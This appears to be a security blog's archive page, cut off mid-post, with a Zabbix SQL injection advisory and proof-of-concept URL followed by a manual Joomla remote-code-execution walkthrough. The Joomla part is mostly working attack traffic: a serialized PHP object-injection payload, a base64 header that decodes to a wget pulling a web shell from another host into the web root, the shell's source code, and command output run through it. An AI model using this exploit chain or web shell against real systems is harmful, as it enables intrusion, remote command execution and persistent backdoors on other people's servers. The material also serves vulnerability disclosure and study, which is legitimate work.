0day Archives - Attack Surface Management

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Attack Surface Management With Sn1per Professional

Continuous Attack Surface Management (ASM) and reduction has become a crucial function for every organization to gain visibility of their perimeter security. Having the right tools and processes in place is vital to detecting new vulnerabilities before attackers do. In this blog post, we will outline the basic steps for discovering the attack surface with Sn1per Professional v9.0.

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February 8, 2021 xer0dayz Bug Bounties, Hacking Tutorials, News No comments yet

Zabbix 2.2.x, 3.0.x SQL Injection/RCE 0day Vulnerability

==========================================
Title: Zabbix 3.0.3 SQL Injection Vulnerability
Product: Zabbix
Vulnerable Version(s): 2.2.x, 3.0.x
Fixed Version: 3.0.4
Homepage: http://www.zabbix.com
Patch link: https://support.zabbix.com/browse/ZBX-11023
Credit: [email protected]
==========================================
 
 
Vendor Description:
=====================
Zabbix is an open source availability and performance monitoring solution.
 
 
Vulnerability Overview:
=====================
Zabbix 2.2.x, 3.0.x and trunk suffers from a remote SQL injection vulnerability due to a failure to sanitize input in 
the toggle_ids array in the latest.php page.
 
 
Business Impact:
=====================
By exploiting this SQL injection vulnerability, an authenticated attacker (or guest user) is able to gain full access 
to the database. This would allow an attacker to escalate their privileges to a power user, compromise the database, 
or execute commands on the underlying database operating system.
 
Because of the functionalities Zabbix offers, an attacker with admin privileges (depending on the configuration) can 
execute arbitrary OS commands on the configured Zabbix hosts and server. This results in a severe impact to the 
monitored infrastructure.
 
Although the attacker needs to be authenticated in general, the system could also be at risk if the adversary has no 
user account. Zabbix offers a guest mode which provides a low privileged default account for users without password. 
If this guest mode is enabled, the SQL injection vulnerability can be exploited unauthenticated.
 
 
Proof of Concept:
=====================
 
latest.php?output=ajax&sid=&favobj=toggle&toggle_open_state=1&toggle_ids[]=15385); select * from users where (1=1
 
Result:
SQL (0.000361): INSERT INTO profiles (profileid, userid, idx, value_int, type, idx2) VALUES (88, 1, 
'web.latest.toggle', '1', 2, 15385); select * from users where (1=1)
latest.php:746 → require_once() → CProfile::flush() → CProfile::insertDB() → DBexecute() in /home/sasha/zabbix-
svn/branches/2.2/frontends/php/include/profiles.inc.php:185
 
 
Disclosure Timeline:
=====================
 
7/18/2016 - Reported vulnerability to Zabbix
7/21/2016 - Zabbix responded with permission to file CVE and to disclose after a patch is made public
7/22/2016 - Zabbix released patch for vulnerability
8/3/2016 - CVE details submitted
8/11/2016 - Vulnerability details disclosed

August 17, 2016 xer0dayz CVE's, Uncategorized No comments yet

Exploiting Joomla Remote Code Execution The Hard Way!

After hearing about the latest Jooma RCE vulnerability which affects Joomla 1.5 – 3.4.5, I decided to do some research to try to understand how this vulnerability actually works. After many failed attempts, lots of confusion and frustration, I beat the urge to give up and was finally able to setup a test VM and exploit the vulnerability using a manual/custom approach (no pre-built exploits). My results are below for educational purposes only.

WHAT’S REQUIRED?

A vulnerable version of Joomla from 1.5.0 to 3.4.5
A vulnerable version of PHP before 5.4.45 (including 5.3.x), 5.5.29 or 5.6.13.

INJECTING SESSION PAYLOAD

REQUEST #1:

GET /joomla/ HTTP/1.1
Host: 192.168.1.100
USER-AGENT: YHWEX}__YHWEXYHWEX|O:21:"JDatabaseDriverMysqli":3:{s:4:"\0\0\0a";O:17:"JSimplepieFactory":0:{}s:21:"\0\0\0disconnectHandlers";a:1:{i:0;a:2:{i:0;O:9:"SimplePie":5:{s:8:"sanitize";O:20:"JDatabaseDriverMysql":0:{}s:5:"cache";b:1;s:19:"cache_name_function";s:6:"assert";s:10:"javascript";i:9999;s:8:"feed_url";s:71:"eval(base64_decode($_SERVER['HTTP_YHWEX']));JFactory::getConfig();exit;";}i:1;s:4:"init";}}s:13:"\0\0\0connection";i:1;}ýýý
Content-Type: application/x-www-form-urlencoded
Content-Length: 0

RAW PAYLOAD:

s:71:"eval(base64_decode($_SERVER['HTTP_YHWEX']));JFactory::getConfig();exit;";}i:1;s:4:"init";}}s:13:"\0\0\0connection";i:1;}ýýý

PAYLOAD ANALYSIS:

s:71 value specifies length of payload
eval(base64_decode($_SERVER[‘HTTP_YHWEX’])); – executes base64 encoded PHP commands sent to the HTTP_YHWEX header
ýýý – UTF-8 characters required to truncate input in session table

RESPONSE #1:

HTTP/1.1 200 OK
Date: Wed, 23 Dec 2015 14:57:52 GMT
Server: Apache/2.2.22 (Ubuntu)
X-Powered-By: PHP/5.3.10-1ubuntu3.13
Set-Cookie: 75bc5a9af0cdeadbe58f55e3d9fe15ab=464rb7iho63i5goftgedr1q936; path=/; HttpOnly
Expires: Mon, 1 Jan 2001 00:00:00 GMT
Last-Modified: Wed, 23 Dec 2015 14:57:52 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Vary: Accept-Encoding
Content-Length: 6167
Content-Type: text/html; charset=utf-8

* The important thing here is the session cookie value. This is required to retrieve our session in order to execute our payload:

Set-Cookie: 75bc5a9af0cdeadbe58f55e3d9fe15ab=464rb7iho63i5goftgedr1q936; path=/; HttpOnly

BLIND EXECUTION OF SESSION PAYLOAD

REQUEST #2:

GET /joomla/ HTTP/1.1
Host: 192.168.1.100
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)
Cookie: 75bc5a9af0cdeadbe58f55e3d9fe15ab=464rb7iho63i5goftgedr1q936;
YHWEX: c3lzdGVtKCJ3Z2V0IGh0dHA6Ly8xOTIuMTY4LjEuMTQ1Ly50ZXN0aW5nL2NtZC50eHQgLU8gL3Zhci93d3cvam9vbWxhL2NtZC5waHAiKTs=
Content-Type: text/html
Content-Length: 0

* Notice the addition of the session cookie and custom HTTP header with our base64 encoded PHP payload PHP PAYLOAD

Cookie: 75bc5a9af0cdeadbe58f55e3d9fe15ab=464rb7iho63i5goftgedr1q936;
YHWEX: c3lzdGVtKCJ3Z2V0IGh0dHA6Ly8xOTIuMTY4LjEuMTQ1Ly50ZXN0aW5nL2NtZC50eHQgLU8gL3Zhci93d3cvam9vbWxhL2NtZC5waHAiKTs=

BASE64 DECODED PAYLOAD:

system("wget http://192.168.1.145/.testing/cmd.txt -O /var/www/joomla/cmd.php");

CMD.PHP RAW CODE:

< FORM METHOD="GET" NAME="myform" ACTION="">
< INPUT TYPE="text" NAME="cmd">
< INPUT TYPE="submit" VALUE="Send">
< /FORM>
< ?
if($_GET['cmd']) {
  system($_GET['cmd']);
  }
? >

COMMAND EXECUTION

REQUEST #3:

GET /joomla/cmd.php?cmd=ls+-lh HTTP/1.1
Host: 192.168.1.100
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)
Cookie: 75bc5a9af0cdeadbe58f55e3d9fe15ab=lm3tc59u78esl0fq93cn130np2;
YHWEX: c3lzdGVtKCdlY2hvICc8P3BocCBzeXN0ZW0oJF9HRVRbY21kXSk7ID8+JyA+IC92YXIvd3d3L2pvb21sYS9jbWQucGhwJyk7
Content-Type: text/html
Content-Length: 0

RESPONSE #3:

HTTP/1.1 200 OK
Date: Wed, 23 Dec 2015 14:59:01 GMT
Server: Apache/2.2.22 (Ubuntu)
X-Powered-By: PHP/5.3.10-1ubuntu3.13
Vary: Accept-Encoding
Content-Length: 1800
Content-Type: text/html

< HTML>< BODY>
< FORM METHOD="GET" NAME="myform" ACTION="">
< INPUT TYPE="text" NAME="cmd">
< INPUT TYPE="submit" VALUE="Send">
< /FORM>
total 128K
-rwxrwxrwx  1 www-data www-data  18K Oct 22 05:48 LICENSE.txt
-rwxrwxrwx  1 www-data www-data 4.2K Oct 22 05:48 README.txt
drwxrwxrwx 10 www-data www-data 4.0K Oct 22 05:48 administrator
drwxrwxrwx  2 www-data www-data 4.0K Oct 22 05:48 bin
drwxrwxrwx  2 www-data www-data 4.0K Oct 22 05:48 cache
drwxrwxrwx  2 www-data www-data 4.0K Oct 22 05:48 cli
-rw-r--r--  1 www-data www-data  345 Aug 10 01:57 cmd.php
drwxrwxrwx 16 www-data www-data 4.0K Oct 22 05:48 components
-rwxrwxrwx  1 www-data www-data 1.8K Dec 17 10:53 configuration.php
-rwxrwxrwx  1 www-data www-data 2.9K Oct 22 05:48 htaccess.txt
drwxrwxrwx  5 www-data www-data 4.0K Oct 22 05:48 images
drwxrwxrwx  2 www-data www-data 4.0K Oct 22 05:48 includes
-rwxrwxrwx  1 www-data www-data 1.2K Dec 17 11:13 index.php
-rw-r--r--  1 www-data www-data  106 Dec 23 20:29 joomla_rce.sh
-rwxrwxrwx  1 root     root       94 Dec 22 19:33 joomlatest.php
drwxrwxrwx  4 www-data www-data 4.0K Oct 22 05:48 language
drwxrwxrwx  5 www-data www-data 4.0K Oct 22 05:48 layouts
drwxrwxrwx 11 www-data www-data 4.0K Oct 22 05:48 libraries
drwxrwxrwx  2 www-data www-data 4.0K Dec 22 19:38 logs
drwxrwxrwx 18 www-data www-data 4.0K Oct 22 05:48 media
drwxrwxrwx 27 www-data www-data 4.0K Oct 22 05:48 modules
drwxrwxrwx 14 www-data www-data 4.0K Oct 22 05:48 plugins
-rwxrwxrwx  1 www-data www-data  842 Oct 22 05:48 robots.txt
drwxrwxrwx  5 www-data www-data 4.0K Oct 22 05:48 templates
drwxrwxrwx  2 www-data www-data 4.0K Oct 22 05:48 tmp
-rwxrwxrwx  1 www-data www-data 1.7K Oct 22 05:48 web.config.txt
-rw-r--r--  1 www-data www-data 1.5K Oct  7 05:17 weevely_shell.php

MORAL OF THE STORY?